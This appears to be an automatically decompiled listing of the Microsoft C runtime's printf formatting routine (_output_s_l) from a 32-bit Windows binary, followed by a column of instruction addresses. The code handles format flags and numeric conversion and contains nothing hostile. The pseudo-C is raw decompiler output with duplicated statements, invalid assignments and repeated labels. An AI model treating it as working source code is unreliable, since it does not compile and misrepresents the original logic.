															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x43564c; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00435610))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE60(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xf86dff92
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE60(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xa86dfc78
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE60(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0x886dfc7f
																	E004246D0(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428370(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E004283B0(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E00428370(__ebp + 0x14);
													__eax = E00433F20();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E390();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													} else {
														L116:
														 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
														__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x2f8) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041AE30(__ecx);
														__eax =  *(__ebp - 0x2f8);
														goto L229;
													}
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L89:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428370(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L100:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L103:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L104:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L106:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L107;
													} else {
														L93:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L96:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L97:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L98:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L99:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L107:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E004307A0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E00430820( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t623 - 0x314) = 0;
									} else {
										 *(_t623 - 0x314) = 1;
									}
									_t573 =  *(_t623 - 0x314);
									 *(_t623 - 0x278) =  *(_t623 - 0x314);
									if( *(_t623 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t530 = L0041E390();
										_t626 = _t626 + 0x14;
										if(_t530 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t623 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422E80(_t573))) = 0x16;
										E00422C10(_t558, _t573, _t621, _t622, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t623 - 0x2f0) = 0xffffffff;
										E0041AE30(_t623 - 0x40);
										_t503 =  *(_t623 - 0x2f0);
										L229:
										return E0042BCD0(_t503, _t558,  *(_t623 - 0x48) ^ _t623, _t594, _t621, _t622);
									}
								}
							}
							L219:
							if( *(_t623 - 0x25c) == 0) {
								L222:
								 *(_t623 - 0x334) = 1;
								L223:
								_t560 =  *(_t623 - 0x334);
								 *(_t623 - 0x2e0) =  *(_t623 - 0x334);
								if( *(_t623 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t508 = L0041E390();
									_t626 = _t626 + 0x14;
									if(_t508 == 1) {
										asm("int3");
									}
								}
								if( *(_t623 - 0x2e0) != 0) {
									 *(_t623 - 0x300) =  *(_t623 - 0x24c);
									E0041AE30(_t623 - 0x40);
									_t503 =  *(_t623 - 0x300);
								} else {
									 *((intOrPtr*)(L00422E80(_t560))) = 0x16;
									E00422C10(_t558, _t560, _t621, _t622, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t623 - 0x2fc) = 0xffffffff;
									E0041AE30(_t623 - 0x40);
									_t503 =  *(_t623 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t623 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t623 - 0x334) = 0;
							goto L223;
						}
					}
					L82:
					_t593 =  *0x440f80; // 0x404448
					 *(_t623 - 4) = _t593;
					_t497 = E0041DE30( *(_t623 - 4));
					_t626 = _t626 + 4;
					 *(_t623 - 0x24) = _t497;
					goto L86;
				}
			}

0x00434b45
0x00434b45
0x00434b45
0x00434b45
0x00434b45
0x00434b45
0x00434b49
0x00434b4e
0x00434b51
0x00434b5e
0x00000000
0x00000000
0x00434b60
0x00434b60
0x00434b6a
0x00434b86
0x00434b89
0x00434b8f
0x00434bb7
0x00434bbe
0x00434bc4
0x00434bc7
0x00434bca
0x00434bd0
0x00434bd3
0x00434b91
0x00434b91
0x00434b97
0x00434b9a
0x00434b9d
0x00434ba3
0x00434ba6
0x00434ba9
0x00434bab
0x00434bae
0x00434bae
0x00434bd6
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x004352ac
0x004352b2
0x004352bc
0x004352d1
0x004352e6
0x004352e8
0x004352ec
0x004352ec
0x004352d3
0x004352d3
0x004352d7
0x004352d7
0x004352be
0x004352be
0x004352c2
0x004352c2
0x004352bc
0x004352fc
0x00435308
0x0043531e
0x00435323
0x00435323
0x00435339
0x0043533e
0x00435347
0x0043534f
0x00435365
0x0043536a
0x0043536a
0x0043534f
0x00435371
0x00435445
0x00435458
0x0043545d
0x00000000
0x00435377
0x00435377
0x0043537b
0x00000000
0x00000000
0x00435381
0x00435381
0x0043538e
0x00435397
0x0043539d
0x0043539d
0x004353ac
0x004353b4
0x00000000
0x00000000
0x004353ba
0x004353c3
0x004353e2
0x004353e7
0x004353ea
0x004353f9
0x00435406
0x00435411
0x00435411
0x00000000
0x00435411
0x00435408
0x0043540f
0x0043541d
0x00435436
0x0043543b
0x00000000
0x0043543b
0x00000000
0x0043540f
0x00435443
0x00435460
0x00435467
0x0043546f
0x00435485
0x0043548a
0x0043548a
0x0043546f
0x00435467
0x0043548d
0x00435491
0x00435499
0x0043549e
0x004354a1
0x004354a1
0x004354a8
0x004354a8
0x0043457f
0x00434585
0x00434592
0x00434597
0x00000000
0x004345aa
0x004345b4
0x004345db
0x004345c2
0x004345d3
0x004345d3
0x004345b4
0x004345e5
0x004345eb
0x004345f7
0x004345fa
0x00434608
0x0043460b
0x00434618
0x004346bd
0x004346c3
0x004346d0
0x00000000
0x00000000
0x004346d6
0x004346dc
0x00000000
0x004346e3
0x004346e3
0x004346fb
0x00434700
